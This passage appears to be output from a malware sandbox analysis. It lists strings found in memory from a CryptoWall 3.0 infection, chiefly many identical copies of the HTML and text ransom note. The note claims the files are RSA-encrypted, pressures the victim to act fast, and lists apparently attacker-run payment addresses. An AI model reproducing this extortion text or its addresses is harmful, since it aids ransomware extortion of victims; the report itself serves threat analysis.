target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt168.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html241.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt216.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html358.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html143.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt339.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt263.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html236.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html48.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt120.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html106.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt214.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt325.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt95.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt275.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html210.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html240.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html112.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html266.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt410.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt163.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html56.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html77.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font 